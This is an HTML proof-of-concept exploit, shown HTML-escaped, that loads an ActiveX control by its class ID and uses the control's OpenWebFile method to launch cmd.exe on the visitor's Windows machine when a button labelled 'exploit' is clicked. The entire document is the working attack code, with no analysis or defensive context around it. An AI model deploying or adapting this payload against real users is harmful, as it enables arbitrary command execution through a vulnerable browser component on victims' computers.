&lt;HTML&gt;
&lt;BODY&gt;
 &lt;object id=hsmx classid=&quot;clsid:{97AF4A45-49BE-4485-9F55-91AB40F288F2}&quot;&gt;&lt;/object&gt;

&lt;SCRIPT&gt;

function Do_it()
 {
   File = &quot;c:\\windows\\system32\\cmd.exe&quot;
   hsmx.OpenWebFile(File)
 }
&lt;/SCRIPT&gt;
&lt;input language=JavaScript onclick=Do_it() type=button value=&quot;exploit&quot;&gt;

&lt;/body&gt;
&lt;/HTML&gt;